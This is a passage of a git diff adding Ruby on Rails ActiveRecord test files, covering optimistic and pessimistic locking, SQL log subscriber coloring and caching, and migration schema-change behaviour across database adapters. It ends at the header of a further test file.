+    t2.reload
+    assert_equal "title1", t2.title
+    assert_equal 0, t2.custom_lock_version
+  end
+
+  def test_readonly_attributes
+    assert_equal Set.new([ "name" ]), ReadonlyNameShip.readonly_attributes
+
+    s = ReadonlyNameShip.create(name: "unchangeable name")
+    s.reload
+    assert_equal "unchangeable name", s.name
+
+    s.update(name: "changed name")
+    s.reload
+    assert_equal "unchangeable name", s.name
+  end
+
+  def test_quote_table_name
+    ref = references(:michael_magician)
+    ref.favourite = !ref.favourite
+    assert ref.save
+  end
+
+  # Useful for partial updates, don't only update the lock_version if there
+  # is nothing else being updated.
+  def test_update_without_attributes_does_not_only_update_lock_version
+    assert_nothing_raised do
+      p1 = Person.create!(first_name: "anika")
+      lock_version = p1.lock_version
+      p1.save
+      p1.reload
+      assert_equal lock_version, p1.lock_version
+    end
+  end
+
+  def test_polymorphic_destroy_with_dependencies_and_lock_version
+    car = Car.create!
+
+    assert_difference "car.wheels.count"  do
+      car.wheels << Wheel.create!
+    end
+    assert_difference "car.wheels.count", -1  do
+      car.reload.destroy
+    end
+    assert car.destroyed?
+  end
+
+  def test_removing_has_and_belongs_to_many_associations_upon_destroy
+    p = RichPerson.create! first_name: "Jon"
+    p.treasures.create!
+    assert !p.treasures.empty?
+    p.destroy
+    assert p.treasures.empty?
+    assert RichPerson.connection.select_all("SELECT * FROM peoples_treasures WHERE rich_person_id = 1").empty?
+  end
+
+  def test_yaml_dumping_with_lock_column
+    t1 = LockWithoutDefault.new
+    t2 = YAML.load(YAML.dump(t1))
+
+    assert_equal t1.attributes, t2.attributes
+  end
+end
+
+class OptimisticLockingWithSchemaChangeTest < ActiveRecord::TestCase
+  fixtures :people, :legacy_things, :references
+
+  # need to disable transactional tests, because otherwise the sqlite3
+  # adapter (at least) chokes when we try and change the schema in the middle
+  # of a test (see test_increment_counter_*).
+  self.use_transactional_tests = false
+
+  { lock_version: Person, custom_lock_version: LegacyThing }.each do |name, model|
+    define_method("test_increment_counter_updates_#{name}") do
+      counter_test model, 1 do |id|
+        model.increment_counter :test_count, id
+      end
+    end
+
+    define_method("test_decrement_counter_updates_#{name}") do
+      counter_test model, -1 do |id|
+        model.decrement_counter :test_count, id
+      end
+    end
+
+    define_method("test_update_counters_updates_#{name}") do
+      counter_test model, 1 do |id|
+        model.update_counters id, test_count: 1
+      end
+    end
+  end
+
+  # See Lighthouse ticket #1966
+  def test_destroy_dependents
+    # Establish dependent relationship between Person and PersonalLegacyThing
+    add_counter_column_to(Person, "personal_legacy_things_count")
+    PersonalLegacyThing.reset_column_information
+
+    # Make sure that counter incrementing doesn't cause problems
+    p1 = Person.new(first_name: "fjord")
+    p1.save!
+    t = PersonalLegacyThing.new(person: p1)
+    t.save!
+    p1.reload
+    assert_equal 1, p1.personal_legacy_things_count
+    assert p1.destroy
+    assert_equal true, p1.frozen?
+    assert_raises(ActiveRecord::RecordNotFound) { Person.find(p1.id) }
+    assert_raises(ActiveRecord::RecordNotFound) { PersonalLegacyThing.find(t.id) }
+  ensure
+    remove_counter_column_from(Person, "personal_legacy_things_count")
+    PersonalLegacyThing.reset_column_information
+  end
+
+  def test_destroy_existing_object_with_locking_column_value_null_in_the_database
+    ActiveRecord::Base.connection.execute("INSERT INTO lock_without_defaults(title) VALUES('title1')")
+    t1 = LockWithoutDefault.last
+
+    assert_equal 0, t1.lock_version
+    assert_nil t1.lock_version_before_type_cast
+
+    t1.destroy
+
+    assert t1.destroyed?
+  end
+
+  def test_destroy_stale_object
+    t1 = LockWithoutDefault.create!(title: "title1")
+    stale_object = LockWithoutDefault.find(t1.id)
+
+    t1.update!(title: "title2")
+
+    assert_raises(ActiveRecord::StaleObjectError) do
+      stale_object.destroy!
+    end
+
+    refute stale_object.destroyed?
+  end
+
+  private
+
+    def add_counter_column_to(model, col = "test_count")
+      model.connection.add_column model.table_name, col, :integer, null: false, default: 0
+      model.reset_column_information
+    end
+
+    def remove_counter_column_from(model, col = :test_count)
+      model.connection.remove_column model.table_name, col
+      model.reset_column_information
+    end
+
+    def counter_test(model, expected_count)
+      add_counter_column_to(model)
+      object = model.first
+      assert_equal 0, object.test_count
+      assert_equal 0, object.send(model.locking_column)
+      yield object.id
+      object.reload
+      assert_equal expected_count, object.test_count
+      assert_equal 1, object.send(model.locking_column)
+    ensure
+      remove_counter_column_from(model)
+    end
+end
+
+# TODO: test against the generated SQL since testing locking behavior itself
+# is so cumbersome. Will deadlock Ruby threads if the underlying db.execute
+# blocks, so separate script called by Kernel#system is needed.
+# (See exec vs. async_exec in the PostgreSQL adapter.)
+unless in_memory_db?
+  class PessimisticLockingTest < ActiveRecord::TestCase
+    self.use_transactional_tests = false
+    fixtures :people, :readers
+
+    def setup
+      Person.connection_pool.clear_reloadable_connections!
+      # Avoid introspection queries during tests.
+      Person.columns; Reader.columns
+    end
+
+    # Test typical find.
+    def test_sane_find_with_lock
+      assert_nothing_raised do
+        Person.transaction do
+          Person.lock.find(1)
+        end
+      end
+    end
+
+    # PostgreSQL protests SELECT ... FOR UPDATE on an outer join.
+    unless current_adapter?(:PostgreSQLAdapter)
+      # Test locked eager find.
+      def test_eager_find_with_lock
+        assert_nothing_raised do
+          Person.transaction do
+            Person.includes(:readers).lock.find(1)
+          end
+        end
+      end
+    end
+
+    # Locking a record reloads it.
+    def test_sane_lock_method
+      assert_nothing_raised do
+        Person.transaction do
+          person = Person.find 1
+          old, person.first_name = person.first_name, "fooman"
+          # Locking a dirty record is deprecated
+          assert_deprecated do
+            person.lock!
+          end
+          assert_equal old, person.first_name
+        end
+      end
+    end
+
+    def test_with_lock_commits_transaction
+      person = Person.find 1
+      person.with_lock do
+        person.first_name = "fooman"
+        person.save!
+      end
+      assert_equal "fooman", person.reload.first_name
+    end
+
+    def test_with_lock_rolls_back_transaction
+      person = Person.find 1
+      old = person.first_name
+      person.with_lock do
+        person.first_name = "fooman"
+        person.save!
+        raise "oops"
+      end rescue nil
+      assert_equal old, person.reload.first_name
+    end
+
+    if current_adapter?(:PostgreSQLAdapter)
+      def test_lock_sending_custom_lock_statement
+        Person.transaction do
+          person = Person.find(1)
+          assert_sql(/LIMIT \$?\d FOR SHARE NOWAIT/) do
+            person.lock!("FOR SHARE NOWAIT")
+          end
+        end
+      end
+    end
+
+    if current_adapter?(:PostgreSQLAdapter, :OracleAdapter)
+      def test_no_locks_no_wait
+        first, second = duel { Person.find 1 }
+        assert first.end > second.end
+      end
+
+      private
+
+      def duel(zzz = 5)
+        t0, t1, t2, t3 = nil, nil, nil, nil
+
+        a = Thread.new do
+          t0 = Time.now
+          Person.transaction do
+            yield
+            sleep zzz       # block thread 2 for zzz seconds
+          end
+          t1 = Time.now
+        end
+
+        b = Thread.new do
+          sleep zzz / 2.0   # ensure thread 1 tx starts first
+          t2 = Time.now
+          Person.transaction { yield }
+          t3 = Time.now
+        end
+
+        a.join
+        b.join
+
+        assert t1 > t0 + zzz
+        assert t2 > t0
+        assert t3 > t2
+        [t0.to_f..t1.to_f, t2.to_f..t3.to_f]
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/log_subscriber_test.rb b/activerecord/test/cases/log_subscriber_test.rb
new file mode 100644
index 0000000000..208e54ed0b
--- /dev/null
+++ b/activerecord/test/cases/log_subscriber_test.rb
@@ -0,0 +1,219 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/binary"
+require "models/developer"
+require "models/post"
+require "active_support/log_subscriber/test_helper"
+
+class LogSubscriberTest < ActiveRecord::TestCase
+  include ActiveSupport::LogSubscriber::TestHelper
+  include ActiveSupport::Logger::Severity
+  REGEXP_CLEAR = Regexp.escape(ActiveRecord::LogSubscriber::CLEAR)
+  REGEXP_BOLD = Regexp.escape(ActiveRecord::LogSubscriber::BOLD)
+  REGEXP_MAGENTA = Regexp.escape(ActiveRecord::LogSubscriber::MAGENTA)
+  REGEXP_CYAN = Regexp.escape(ActiveRecord::LogSubscriber::CYAN)
+  SQL_COLORINGS = {
+      SELECT: Regexp.escape(ActiveRecord::LogSubscriber::BLUE),
+      INSERT: Regexp.escape(ActiveRecord::LogSubscriber::GREEN),
+      UPDATE: Regexp.escape(ActiveRecord::LogSubscriber::YELLOW),
+      DELETE: Regexp.escape(ActiveRecord::LogSubscriber::RED),
+      LOCK: Regexp.escape(ActiveRecord::LogSubscriber::WHITE),
+      ROLLBACK: Regexp.escape(ActiveRecord::LogSubscriber::RED),
+      TRANSACTION: REGEXP_CYAN,
+      OTHER: REGEXP_MAGENTA
+  }
+  Event = Struct.new(:duration, :payload)
+
+  class TestDebugLogSubscriber < ActiveRecord::LogSubscriber
+    attr_reader :debugs
+
+    def initialize
+      @debugs = []
+      super
+    end
+
+    def debug(message)
+      @debugs << message
+    end
+  end
+
+  fixtures :posts
+
+  def setup
+    @old_logger = ActiveRecord::Base.logger
+    Developer.primary_key
+    super
+    ActiveRecord::LogSubscriber.attach_to(:active_record)
+  end
+
+  def teardown
+    super
+    ActiveRecord::LogSubscriber.log_subscribers.pop
+    ActiveRecord::Base.logger = @old_logger
+  end
+
+  def set_logger(logger)
+    ActiveRecord::Base.logger = logger
+  end
+
+  def test_schema_statements_are_ignored
+    logger = TestDebugLogSubscriber.new
+    assert_equal 0, logger.debugs.length
+
+    logger.sql(Event.new(0.9, sql: "hi mom!"))
+    assert_equal 1, logger.debugs.length
+
+    logger.sql(Event.new(0.9, sql: "hi mom!", name: "foo"))
+    assert_equal 2, logger.debugs.length
+
+    logger.sql(Event.new(0.9, sql: "hi mom!", name: "SCHEMA"))
+    assert_equal 2, logger.debugs.length
+  end
+
+  def test_sql_statements_are_not_squeezed
+    logger = TestDebugLogSubscriber.new
+    logger.sql(Event.new(0.9, sql: "ruby   rails"))
+    assert_match(/ruby   rails/, logger.debugs.first)
+  end
+
+  def test_basic_query_logging
+    Developer.all.load
+    wait
+    assert_equal 1, @logger.logged(:debug).size
+    assert_match(/Developer Load/, @logger.logged(:debug).last)
+    assert_match(/SELECT .*?FROM .?developers.?/i, @logger.logged(:debug).last)
+  end
+
+  def test_basic_query_logging_coloration
+    logger = TestDebugLogSubscriber.new
+    logger.colorize_logging = true
+    SQL_COLORINGS.each do |verb, color_regex|
+      logger.sql(Event.new(0.9, sql: verb.to_s))
+      assert_match(/#{REGEXP_BOLD}#{color_regex}#{verb}#{REGEXP_CLEAR}/i, logger.debugs.last)
+    end
+  end
+
+  def test_basic_payload_name_logging_coloration_generic_sql
+    logger = TestDebugLogSubscriber.new
+    logger.colorize_logging = true
+    SQL_COLORINGS.each do |verb, _|
+      logger.sql(Event.new(0.9, sql: verb.to_s))
+      assert_match(/#{REGEXP_BOLD}#{REGEXP_MAGENTA} \(0\.9ms\)#{REGEXP_CLEAR}/i, logger.debugs.last)
+
+      logger.sql(Event.new(0.9, sql: verb.to_s, name: "SQL"))
+      assert_match(/#{REGEXP_BOLD}#{REGEXP_MAGENTA}SQL \(0\.9ms\)#{REGEXP_CLEAR}/i, logger.debugs.last)
+    end
+  end
+
+  def test_basic_payload_name_logging_coloration_named_sql
+    logger = TestDebugLogSubscriber.new
+    logger.colorize_logging = true
+    SQL_COLORINGS.each do |verb, _|
+      logger.sql(Event.new(0.9, sql: verb.to_s, name: "Model Load"))
+      assert_match(/#{REGEXP_BOLD}#{REGEXP_CYAN}Model Load \(0\.9ms\)#{REGEXP_CLEAR}/i, logger.debugs.last)
+
+      logger.sql(Event.new(0.9, sql: verb.to_s, name: "Model Exists"))
+      assert_match(/#{REGEXP_BOLD}#{REGEXP_CYAN}Model Exists \(0\.9ms\)#{REGEXP_CLEAR}/i, logger.debugs.last)
+
+      logger.sql(Event.new(0.9, sql: verb.to_s, name: "ANY SPECIFIC NAME"))
+      assert_match(/#{REGEXP_BOLD}#{REGEXP_CYAN}ANY SPECIFIC NAME \(0\.9ms\)#{REGEXP_CLEAR}/i, logger.debugs.last)
+    end
+  end
+
+  def test_query_logging_coloration_with_nested_select
+    logger = TestDebugLogSubscriber.new
+    logger.colorize_logging = true
+    SQL_COLORINGS.slice(:SELECT, :INSERT, :UPDATE, :DELETE).each do |verb, color_regex|
+      logger.sql(Event.new(0.9, sql: "#{verb} WHERE ID IN SELECT"))
+      assert_match(/#{REGEXP_BOLD}#{REGEXP_MAGENTA} \(0\.9ms\)#{REGEXP_CLEAR}  #{REGEXP_BOLD}#{color_regex}#{verb} WHERE ID IN SELECT#{REGEXP_CLEAR}/i, logger.debugs.last)
+    end
+  end
+
+  def test_query_logging_coloration_with_multi_line_nested_select
+    logger = TestDebugLogSubscriber.new
+    logger.colorize_logging = true
+    SQL_COLORINGS.slice(:SELECT, :INSERT, :UPDATE, :DELETE).each do |verb, color_regex|
+      sql = <<-EOS
+        #{verb}
+        WHERE ID IN (
+          SELECT ID FROM THINGS
+        )
+      EOS
+      logger.sql(Event.new(0.9, sql: sql))
+      assert_match(/#{REGEXP_BOLD}#{REGEXP_MAGENTA} \(0\.9ms\)#{REGEXP_CLEAR}  #{REGEXP_BOLD}#{color_regex}.*#{verb}.*#{REGEXP_CLEAR}/mi, logger.debugs.last)
+    end
+  end
+
+  def test_query_logging_coloration_with_lock
+    logger = TestDebugLogSubscriber.new
+    logger.colorize_logging = true
+    sql = <<-EOS
+      SELECT * FROM
+        (SELECT * FROM mytable FOR UPDATE) ss
+      WHERE col1 = 5;
+    EOS
+    logger.sql(Event.new(0.9, sql: sql))
+    assert_match(/#{REGEXP_BOLD}#{REGEXP_MAGENTA} \(0\.9ms\)#{REGEXP_CLEAR}  #{REGEXP_BOLD}#{SQL_COLORINGS[:LOCK]}.*FOR UPDATE.*#{REGEXP_CLEAR}/mi, logger.debugs.last)
+
+    sql = <<-EOS
+      LOCK TABLE films IN SHARE MODE;
+    EOS
+    logger.sql(Event.new(0.9, sql: sql))
+    assert_match(/#{REGEXP_BOLD}#{REGEXP_MAGENTA} \(0\.9ms\)#{REGEXP_CLEAR}  #{REGEXP_BOLD}#{SQL_COLORINGS[:LOCK]}.*LOCK TABLE.*#{REGEXP_CLEAR}/mi, logger.debugs.last)
+  end
+
+  def test_exists_query_logging
+    Developer.exists? 1
+    wait
+    assert_equal 1, @logger.logged(:debug).size
+    assert_match(/Developer Exists/, @logger.logged(:debug).last)
+    assert_match(/SELECT .*?FROM .?developers.?/i, @logger.logged(:debug).last)
+  end
+
+  def test_cached_queries
+    ActiveRecord::Base.cache do
+      Developer.all.load
+      Developer.all.load
+    end
+    wait
+    assert_equal 2, @logger.logged(:debug).size
+    assert_match(/CACHE/, @logger.logged(:debug).last)
+    assert_match(/SELECT .*?FROM .?developers.?/i, @logger.logged(:debug).last)
+  end
+
+  def test_basic_query_doesnt_log_when_level_is_not_debug
+    @logger.level = INFO
+    Developer.all.load
+    wait
+    assert_equal 0, @logger.logged(:debug).size
+  end
+
+  def test_cached_queries_doesnt_log_when_level_is_not_debug
+    @logger.level = INFO
+    ActiveRecord::Base.cache do
+      Developer.all.load
+      Developer.all.load
+    end
+    wait
+    assert_equal 0, @logger.logged(:debug).size
+  end
+
+  def test_initializes_runtime
+    Thread.new { assert_equal 0, ActiveRecord::LogSubscriber.runtime }.join
+  end
+
+  if ActiveRecord::Base.connection.prepared_statements
+    def test_binary_data_is_not_logged
+      Binary.create(data: "some binary data")
+      wait
+      assert_match(/<16 bytes of binary data>/, @logger.logged(:debug).join)
+    end
+
+    def test_binary_data_hash
+      Binary.create(data: { a: 1 })
+      wait
+      assert_match(/<7 bytes of binary data>/, @logger.logged(:debug).join)
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration/change_schema_test.rb b/activerecord/test/cases/migration/change_schema_test.rb
new file mode 100644
index 0000000000..7b0644e9c0
--- /dev/null
+++ b/activerecord/test/cases/migration/change_schema_test.rb
@@ -0,0 +1,468 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  class Migration
+    class ChangeSchemaTest < ActiveRecord::TestCase
+      attr_reader :connection, :table_name
+
+      def setup
+        super
+        @connection = ActiveRecord::Base.connection
+        @table_name = :testings
+      end
+
+      teardown do
+        connection.drop_table :testings rescue nil
+        ActiveRecord::Base.primary_key_prefix_type = nil
+        ActiveRecord::Base.clear_cache!
+      end
+
+      def test_create_table_without_id
+        testing_table_with_only_foo_attribute do
+          assert_equal connection.columns(:testings).size, 1
+        end
+      end
+
+      def test_add_column_with_primary_key_attribute
+        testing_table_with_only_foo_attribute do
+          connection.add_column :testings, :id, :primary_key
+          assert_equal connection.columns(:testings).size, 2
+        end
+      end
+
+      def test_create_table_adds_id
+        connection.create_table :testings do |t|
+          t.column :foo, :string
+        end
+
+        assert_equal %w(id foo), connection.columns(:testings).map(&:name)
+      end
+
+      def test_create_table_with_not_null_column
+        connection.create_table :testings do |t|
+          t.column :foo, :string, null: false
+        end
+
+        assert_raises(ActiveRecord::NotNullViolation) do
+          connection.execute "insert into testings (foo) values (NULL)"
+        end
+      end
+
+      def test_create_table_with_defaults
+        # MySQL doesn't allow defaults on TEXT or BLOB columns.
+        mysql = current_adapter?(:Mysql2Adapter)
+
+        connection.create_table :testings do |t|
+          t.column :one, :string, default: "hello"
+          t.column :two, :boolean, default: true
+          t.column :three, :boolean, default: false
+          t.column :four, :integer, default: 1
+          t.column :five, :text, default: "hello" unless mysql
+        end
+
+        columns = connection.columns(:testings)
+        one = columns.detect { |c| c.name == "one" }
+        two = columns.detect { |c| c.name == "two" }
+        three = columns.detect { |c| c.name == "three" }
+        four = columns.detect { |c| c.name == "four" }
+        five = columns.detect { |c| c.name == "five" } unless mysql
+
+        assert_equal "hello", one.default
+        assert_equal true, connection.lookup_cast_type_from_column(two).deserialize(two.default)
+        assert_equal false, connection.lookup_cast_type_from_column(three).deserialize(three.default)
+        assert_equal "1", four.default
+        assert_equal "hello", five.default unless mysql
+      end
+
+      if current_adapter?(:PostgreSQLAdapter)
+        def test_add_column_with_array
+          connection.create_table :testings
+          connection.add_column :testings, :foo, :string, array: true
+
+          columns = connection.columns(:testings)
+          array_column = columns.detect { |c| c.name == "foo" }
+
+          assert array_column.array?
+        end
+
+        def test_create_table_with_array_column
+          connection.create_table :testings do |t|
+            t.string :foo, array: true
+          end
+
+          columns = connection.columns(:testings)
+          array_column = columns.detect { |c| c.name == "foo" }
+
+          assert array_column.array?
+        end
+      end
+
+      def test_create_table_with_bigint
+        connection.create_table :testings do |t|
+          t.bigint :eight_int
+        end
+        columns = connection.columns(:testings)
+        eight   = columns.detect { |c| c.name == "eight_int"   }
+
+        if current_adapter?(:OracleAdapter)
+          assert_equal "NUMBER(19)", eight.sql_type
+        elsif current_adapter?(:SQLite3Adapter)
+          assert_equal "bigint", eight.sql_type
+        else
+          assert_equal :integer, eight.type
+          assert_equal 8, eight.limit
+        end
+      ensure
+        connection.drop_table :testings
+      end
+
+      def test_create_table_with_limits
+        connection.create_table :testings do |t|
+          t.column :foo, :string, limit: 255
+
+          t.column :default_int, :integer
+
+          t.column :one_int,    :integer, limit: 1
+          t.column :four_int,   :integer, limit: 4
+          t.column :eight_int,  :integer, limit: 8
+        end
+
+        columns = connection.columns(:testings)
+        foo = columns.detect { |c| c.name == "foo" }
+        assert_equal 255, foo.limit
+
+        default = columns.detect { |c| c.name == "default_int" }
+        one     = columns.detect { |c| c.name == "one_int"     }
+        four    = columns.detect { |c| c.name == "four_int"    }
+        eight   = columns.detect { |c| c.name == "eight_int"   }
+
+        if current_adapter?(:PostgreSQLAdapter)
+          assert_equal "integer", default.sql_type
+          assert_equal "smallint", one.sql_type
+          assert_equal "integer", four.sql_type
+          assert_equal "bigint", eight.sql_type
+        elsif current_adapter?(:Mysql2Adapter)
+          assert_match "int(11)", default.sql_type
+          assert_match "tinyint", one.sql_type
+          assert_match "int", four.sql_type
+          assert_match "bigint", eight.sql_type
+        elsif current_adapter?(:OracleAdapter)
+          assert_equal "NUMBER(38)", default.sql_type
+          assert_equal "NUMBER(1)", one.sql_type
+          assert_equal "NUMBER(4)", four.sql_type
+          assert_equal "NUMBER(8)", eight.sql_type
+        end
+      end
+
+      def test_create_table_with_primary_key_prefix_as_table_name_with_underscore
+        ActiveRecord::Base.primary_key_prefix_type = :table_name_with_underscore
+
+        connection.create_table :testings do |t|
+          t.column :foo, :string
+        end
+
+        assert_equal %w(testing_id foo), connection.columns(:testings).map(&:name)
+      end
+
+      def test_create_table_with_primary_key_prefix_as_table_name
+        ActiveRecord::Base.primary_key_prefix_type = :table_name
+
+        connection.create_table :testings do |t|
+          t.column :foo, :string
+        end
+
+        assert_equal %w(testingid foo), connection.columns(:testings).map(&:name)
+      end
+
+      def test_create_table_raises_when_redefining_primary_key_column
+        error = assert_raise(ArgumentError) do
+          connection.create_table :testings do |t|
+            t.column :id, :string
+          end
+        end
+
+        assert_equal "you can't redefine the primary key column 'id'. To define a custom primary key, pass { id: false } to create_table.", error.message
+      end
+
+      def test_create_table_raises_when_redefining_custom_primary_key_column
+        error = assert_raise(ArgumentError) do
+          connection.create_table :testings, primary_key: :testing_id do |t|
+            t.column :testing_id, :string
+          end
+        end
+
+        assert_equal "you can't redefine the primary key column 'testing_id'. To define a custom primary key, pass { id: false } to create_table.", error.message
+      end
+
+      def test_create_table_with_timestamps_should_create_datetime_columns
+        connection.create_table table_name do |t|
+          t.timestamps
+        end
+        created_columns = connection.columns(table_name)
+
+        created_at_column = created_columns.detect { |c| c.name == "created_at" }
+        updated_at_column = created_columns.detect { |c| c.name == "updated_at" }
+
+        assert !created_at_column.null
+        assert !updated_at_column.null
+      end
+
+      def test_create_table_with_timestamps_should_create_datetime_columns_with_options
+        connection.create_table table_name do |t|
+          t.timestamps null: true
+        end
+        created_columns = connection.columns(table_name)
+
+        created_at_column = created_columns.detect { |c| c.name == "created_at" }
+        updated_at_column = created_columns.detect { |c| c.name == "updated_at" }
+
+        assert created_at_column.null
+        assert updated_at_column.null
+      end
+
+      def test_create_table_without_a_block
+        connection.create_table table_name
+      end
+
+      # SQLite3 will not allow you to add a NOT NULL
+      # column to a table without a default value.
+      unless current_adapter?(:SQLite3Adapter)
+        def test_add_column_not_null_without_default
+          connection.create_table :testings do |t|
+            t.column :foo, :string
+          end
+          connection.add_column :testings, :bar, :string, null: false
+
+          assert_raise(ActiveRecord::NotNullViolation) do
+            connection.execute "insert into testings (foo, bar) values ('hello', NULL)"
+          end
+        end
+      end
+
+      def test_add_column_not_null_with_default
+        connection.create_table :testings do |t|
+          t.column :foo, :string
+        end
+
+        quoted_id  = connection.quote_column_name("id")
+        quoted_foo = connection.quote_column_name("foo")
+        quoted_bar = connection.quote_column_name("bar")
+        connection.execute("insert into testings (#{quoted_id}, #{quoted_foo}) values (1, 'hello')")
+        assert_nothing_raised do
+          connection.add_column :testings, :bar, :string, null: false, default: "default"
+        end
+
+        assert_raises(ActiveRecord::NotNullViolation) do
+          connection.execute("insert into testings (#{quoted_id}, #{quoted_foo}, #{quoted_bar}) values (2, 'hello', NULL)")
+        end
+      end
+
+      def test_add_column_with_timestamp_type
+        connection.create_table :testings do |t|
+          t.column :foo, :timestamp
+        end
+
+        klass = Class.new(ActiveRecord::Base)
+        klass.table_name = "testings"
+
+        assert_equal :datetime, klass.columns_hash["foo"].type
+
+        if current_adapter?(:PostgreSQLAdapter)
+          assert_equal "timestamp without time zone", klass.columns_hash["foo"].sql_type
+        elsif current_adapter?(:Mysql2Adapter)
+          assert_equal "timestamp", klass.columns_hash["foo"].sql_type
+        elsif current_adapter?(:OracleAdapter)
+          assert_equal "TIMESTAMP(6)", klass.columns_hash["foo"].sql_type
+        else
+          assert_equal klass.connection.type_to_sql("datetime"), klass.columns_hash["foo"].sql_type
+        end
+      end
+
+      def test_change_column_quotes_column_names
+        connection.create_table :testings do |t|
+          t.column :select, :string
+        end
+
+        connection.change_column :testings, :select, :string, limit: 10
+
+        # Oracle needs primary key value from sequence
+        if current_adapter?(:OracleAdapter)
+          connection.execute "insert into testings (id, #{connection.quote_column_name('select')}) values (testings_seq.nextval, '7 chars')"
+        else
+          connection.execute "insert into testings (#{connection.quote_column_name('select')}) values ('7 chars')"
+        end
+      end
+
+      def test_keeping_default_and_notnull_constraints_on_change
+        connection.create_table :testings do |t|
+          t.column :title, :string
+        end
+        person_klass = Class.new(ActiveRecord::Base)
+        person_klass.table_name = "testings"
+
+        person_klass.connection.add_column "testings", "wealth", :integer, null: false, default: 99
+        person_klass.reset_column_information
+        assert_equal 99, person_klass.column_defaults["wealth"]
+        assert_equal false, person_klass.columns_hash["wealth"].null
+        # Oracle needs primary key value from sequence
+        if current_adapter?(:OracleAdapter)
+          assert_nothing_raised { person_klass.connection.execute("insert into testings (id, title) values (testings_seq.nextval, 'tester')") }
+        else
+          assert_nothing_raised { person_klass.connection.execute("insert into testings (title) values ('tester')") }
+        end
+
+        # change column default to see that column doesn't lose its not null definition
+        person_klass.connection.change_column_default "testings", "wealth", 100
+        person_klass.reset_column_information
+        assert_equal 100, person_klass.column_defaults["wealth"]
+        assert_equal false, person_klass.columns_hash["wealth"].null
+
+        # rename column to see that column doesn't lose its not null and/or default definition
+        person_klass.connection.rename_column "testings", "wealth", "money"
+        person_klass.reset_column_information
+        assert_nil person_klass.columns_hash["wealth"]
+        assert_equal 100, person_klass.column_defaults["money"]
+        assert_equal false, person_klass.columns_hash["money"].null
+
+        # change column
+        person_klass.connection.change_column "testings", "money", :integer, null: false, default: 1000
+        person_klass.reset_column_information
+        assert_equal 1000, person_klass.column_defaults["money"]
+        assert_equal false, person_klass.columns_hash["money"].null
+
+        # change column, make it nullable and clear default
+        person_klass.connection.change_column "testings", "money", :integer, null: true, default: nil
+        person_klass.reset_column_information
+        assert_nil person_klass.columns_hash["money"].default
+        assert_equal true, person_klass.columns_hash["money"].null
+
+        # change_column_null, make it not nullable and set null values to a default value
+        person_klass.connection.execute("UPDATE testings SET money = NULL")
+        person_klass.connection.change_column_null "testings", "money", false, 2000
+        person_klass.reset_column_information
+        assert_nil person_klass.columns_hash["money"].default
+        assert_equal false, person_klass.columns_hash["money"].null
+        assert_equal 2000, connection.select_values("SELECT money FROM testings").first.to_i
+      end
+
+      def test_change_column_null
+        testing_table_with_only_foo_attribute do
+          notnull_migration = Class.new(ActiveRecord::Migration::Current) do
+            def change
+              change_column_null :testings, :foo, false
+            end
+          end
+          notnull_migration.new.suppress_messages do
+            notnull_migration.migrate(:up)
+            assert_equal false, connection.columns(:testings).find { |c| c.name == "foo" }.null
+            notnull_migration.migrate(:down)
+            assert connection.columns(:testings).find { |c| c.name == "foo" }.null
+          end
+        end
+      end
+
+      def test_column_exists
+        connection.create_table :testings do |t|
+          t.column :foo, :string
+        end
+
+        assert connection.column_exists?(:testings, :foo)
+        assert_not connection.column_exists?(:testings, :bar)
+      end
+
+      def test_column_exists_with_type
+        connection.create_table :testings do |t|
+          t.column :foo, :string
+          t.column :bar, :decimal, precision: 8, scale: 2
+        end
+
+        assert connection.column_exists?(:testings, :foo, :string)
+        assert_not connection.column_exists?(:testings, :foo, :integer)
+
+        assert connection.column_exists?(:testings, :bar, :decimal)
+        assert_not connection.column_exists?(:testings, :bar, :integer)
+      end
+
+      def test_column_exists_with_definition
+        connection.create_table :testings do |t|
+          t.column :foo, :string, limit: 100
+          t.column :bar, :decimal, precision: 8, scale: 2
+          t.column :taggable_id, :integer, null: false
+          t.column :taggable_type, :string, default: "Photo"
+        end
+
+        assert connection.column_exists?(:testings, :foo, :string, limit: 100)
+        assert_not connection.column_exists?(:testings, :foo, :string, limit: nil)
+        assert connection.column_exists?(:testings, :bar, :decimal, precision: 8, scale: 2)
+        assert_not connection.column_exists?(:testings, :bar, :decimal, precision: nil, scale: nil)
+        assert connection.column_exists?(:testings, :taggable_id, :integer, null: false)
+        assert_not connection.column_exists?(:testings, :taggable_id, :integer, null: true)
+        assert connection.column_exists?(:testings, :taggable_type, :string, default: "Photo")
+        assert_not connection.column_exists?(:testings, :taggable_type, :string, default: nil)
+      end
+
+      def test_column_exists_on_table_with_no_options_parameter_supplied
+        connection.create_table :testings do |t|
+          t.string :foo
+        end
+        connection.change_table :testings do |t|
+          assert t.column_exists?(:foo)
+          assert !(t.column_exists?(:bar))
+        end
+      end
+
+      def test_drop_table_if_exists
+        connection.create_table(:testings)
+        assert connection.table_exists?(:testings)
+        connection.drop_table(:testings, if_exists: true)
+        assert_not connection.table_exists?(:testings)
+      end
+
+      def test_drop_table_if_exists_nothing_raised
+        assert_nothing_raised { connection.drop_table(:nonexistent, if_exists: true) }
+      end
+
+      private
+        def testing_table_with_only_foo_attribute
+          connection.create_table :testings, id: false do |t|
+            t.column :foo, :string
+          end
+
+          yield
+        end
+    end
+
+    if ActiveRecord::Base.connection.supports_foreign_keys?
+      class ChangeSchemaWithDependentObjectsTest < ActiveRecord::TestCase
+        self.use_transactional_tests = false
+
+        setup do
+          @connection = ActiveRecord::Base.connection
+          @connection.create_table :trains
+          @connection.create_table(:wagons) { |t| t.references :train }
+          @connection.add_foreign_key :wagons, :trains
+        end
+
+        teardown do
+          [:wagons, :trains].each do |table|
+            @connection.drop_table table, if_exists: true
+          end
+        end
+
+        def test_create_table_with_force_cascade_drops_dependent_objects
+          skip "MySQL > 5.5 does not drop dependent objects with DROP TABLE CASCADE" if current_adapter?(:Mysql2Adapter)
+          # can't re-create table referenced by foreign key
+          assert_raises(ActiveRecord::StatementInvalid) do
+            @connection.create_table :trains, force: true
+          end
+
+          # can recreate referenced table with force: :cascade
+          @connection.create_table :trains, force: :cascade
+          assert_equal [], @connection.foreign_keys(:wagons)
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration/change_table_test.rb b/activerecord/test/cases/migration/change_table_test.rb
new file mode 100644
index 0000000000..034bf32165
--- /dev/null
+++ b/activerecord/test/cases/migration/change_table_test.rb
@@ -0,0 +1,258 @@
+# frozen_string_literal: true
+
